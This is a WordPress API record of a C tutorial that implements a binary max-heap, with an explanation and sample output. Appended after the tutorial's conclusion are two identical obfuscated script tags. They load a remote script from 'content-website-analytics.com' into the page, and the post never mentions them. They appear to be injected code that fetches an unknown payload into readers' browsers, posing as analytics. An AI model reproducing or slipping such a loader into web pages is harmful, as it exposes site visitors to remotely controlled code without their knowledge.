{"id":746,"date":"2024-10-19T13:51:39","date_gmt":"2024-10-19T08:21:39","guid":{"rendered":"https:\/\/codexplained.in\/?p=746"},"modified":"2025-11-24T15:34:24","modified_gmt":"2025-11-24T10:04:24","slug":"implement-binary-heap","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=746","title":{"rendered":"Implement Binary Heap"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\ntypedef struct {\n    int *array; \/\/ Pointer to the array of heap elements\n    int size;   \/\/ Current size of the heap\n    int capacity; \/\/ Maximum capacity of the heap\n} MaxHeap;\n\n\/\/ Function to create a MaxHeap\nMaxHeap* createHeap(int capacity) {\n    MaxHeap* maxHeap = (MaxHeap*)malloc(sizeof(MaxHeap));\n    maxHeap-&gt;capacity = capacity;\n    maxHeap-&gt;size = 0;\n    maxHeap-&gt;array = (int*)malloc(capacity * sizeof(int));\n    return maxHeap;\n}\n\n\/\/ Function to swap two elements\nvoid swap(int *a, int *b) {\n    int temp = *a;\n    *a = *b;\n    *b = temp;\n}\n\n\/\/ Function to heapify a subtree rooted at index i\nvoid heapify(MaxHeap* maxHeap, int index) {\n    int largest = index; \/\/ Initialize largest as root\n    int left = 2 * index + 1; \/\/ left = 2*i + 1\n    int right = 2 * index + 2; \/\/ right = 2*i + 2\n\n    \/\/ If left child is larger than root\n    if (left &lt; maxHeap-&gt;size &amp;&amp; maxHeap-&gt;array&#x5B;left] &gt; maxHeap-&gt;array&#x5B;largest]) {\n        largest = left;\n    }\n\n    \/\/ If right child is larger than largest so far\n    if (right &lt; maxHeap-&gt;size &amp;&amp; maxHeap-&gt;array&#x5B;right] &gt; maxHeap-&gt;array&#x5B;largest]) {\n        largest = right;\n    }\n\n    \/\/ If largest is not root\n    if (largest != index) {\n        swap(&amp;maxHeap-&gt;array&#x5B;index], &amp;maxHeap-&gt;array&#x5B;largest]);\n        heapify(maxHeap, largest); \/\/ Recursively heapify the affected subtree\n    }\n}\n\n\/\/ Function to insert a new key\nvoid insert(MaxHeap* maxHeap, int key) {\n    if (maxHeap-&gt;size == maxHeap-&gt;capacity) {\n        printf(&quot;Heap is full. Cannot insert %d\\n&quot;, key);\n        return;\n    }\n\n    \/\/ Insert the new key at the end\n    maxHeap-&gt;array&#x5B;maxHeap-&gt;size] = key;\n    maxHeap-&gt;size++;\n\n    \/\/ Fix the max heap property if it&#039;s violated\n    for (int i = (maxHeap-&gt;size \/ 2) - 1; i &gt;= 0; i--) {\n        heapify(maxHeap, i);\n    }\n}\n\n\/\/ Function to delete the maximum element (root)\nint deleteMax(MaxHeap* maxHeap) {\n    if (maxHeap-&gt;size &lt;= 0) {\n        return -1; \/\/ Heap is empty\n    }\n    if (maxHeap-&gt;size == 1) {\n        maxHeap-&gt;size--;\n        return maxHeap-&gt;array&#x5B;0]; \/\/ Only one element left\n    }\n\n    \/\/ Store the maximum value, and remove it from heap\n    int root = maxHeap-&gt;array&#x5B;0];\n    maxHeap-&gt;array&#x5B;0] = maxHeap-&gt;array&#x5B;maxHeap-&gt;size - 1];\n    maxHeap-&gt;size--;\n    heapify(maxHeap, 0); \/\/ Call heapify on the root\n\n    return root;\n}\n\n\/\/ Function to print the heap\nvoid printHeap(MaxHeap* maxHeap) {\n    for (int i = 0; i &lt; maxHeap-&gt;size; i++) {\n        printf(&quot;%d &quot;, maxHeap-&gt;array&#x5B;i]);\n    }\n    printf(&quot;\\n&quot;);\n}\n\n\/\/ Main function to demonstrate the heap operations\nint main() {\n    MaxHeap* maxHeap = createHeap(10);\n\n    \/\/ Inserting elements\n    insert(maxHeap, 3);\n    insert(maxHeap, 1);\n    insert(maxHeap, 14);\n    insert(maxHeap, 7);\n    insert(maxHeap, 9);\n    insert(maxHeap, 10);\n    insert(maxHeap, 4);\n\n    printf(&quot;Max Heap: &quot;);\n    printHeap(maxHeap);\n\n    \/\/ Deleting the maximum element\n    printf(&quot;Deleted maximum element: %d\\n&quot;, deleteMax(maxHeap));\n    printf(&quot;Max Heap after deletion: &quot;);\n    printHeap(maxHeap);\n\n    \/\/ Free allocated memory\n    free(maxHeap-&gt;array);\n    free(maxHeap);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Code Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Struct Definition<\/strong>: The <code>MaxHeap<\/code> structure contains an array to hold heap elements, the current size, and the maximum capacity of the heap.<\/li>\n\n\n\n<li><strong>Heap Creation<\/strong>: The <code>createHeap<\/code> function initializes the heap with a specified capacity.<\/li>\n\n\n\n<li><strong>Swapping Elements<\/strong>: The <code>swap<\/code> function swaps two integers in the heap array.<\/li>\n\n\n\n<li><strong>Heapifying<\/strong>: The <code>heapify<\/code> function maintains the heap property. It checks if the subtree rooted at the given index follows the max-heap property and corrects it if not.<\/li>\n\n\n\n<li><strong>Insertion<\/strong>: The <code>insert<\/code> function adds a new key to the heap. If the heap is full, it prints a message. After inserting, it ensures the heap property is maintained.<\/li>\n\n\n\n<li><strong>Deletion<\/strong>: The <code>deleteMax<\/code> function removes the maximum element from the heap (the root). It replaces the root with the last element, reduces the size, and then heapifies from the root to restore the heap property.<\/li>\n\n\n\n<li><strong>Printing the Heap<\/strong>: The <code>printHeap<\/code> function outputs the current elements in the heap.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: This is where the program starts. It creates a max heap, inserts several elements, prints the heap, deletes the maximum element, and prints the heap again.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">4. Output<\/h3>\n\n\n\n<p>When you run the program, you can expect output similar to the following:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Max Heap: 14 9 10 3 1 4 7 \nDeleted maximum element: 14\nMax Heap after deletion: 10 9 7 3 1 4 \n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This implementation covers the basics of a binary heap with insertions and deletions. You can expand upon this by adding more functionalities, such as a function to peek at the maximum element without removing it or implementing a min-heap in a similar manner. This approach provides a solid foundation for understanding binary heaps and their applications in various algorithms.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Code Explanation 4. Output When you run the program, you can expect output similar to the following: Conclusion This implementation covers the basics of a binary heap with insertions and deletions. You can expand upon this by adding more functionalities, such as a function to peek at the maximum element without removing it or implementing [&hellip;]<\/p>\n","protected":false},"author":40,"featured_media":863,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-746","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/746","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=746"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/746\/revisions"}],"predecessor-version":[{"id":1394,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/746\/revisions\/1394"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/863"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=746"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=746"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=746"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}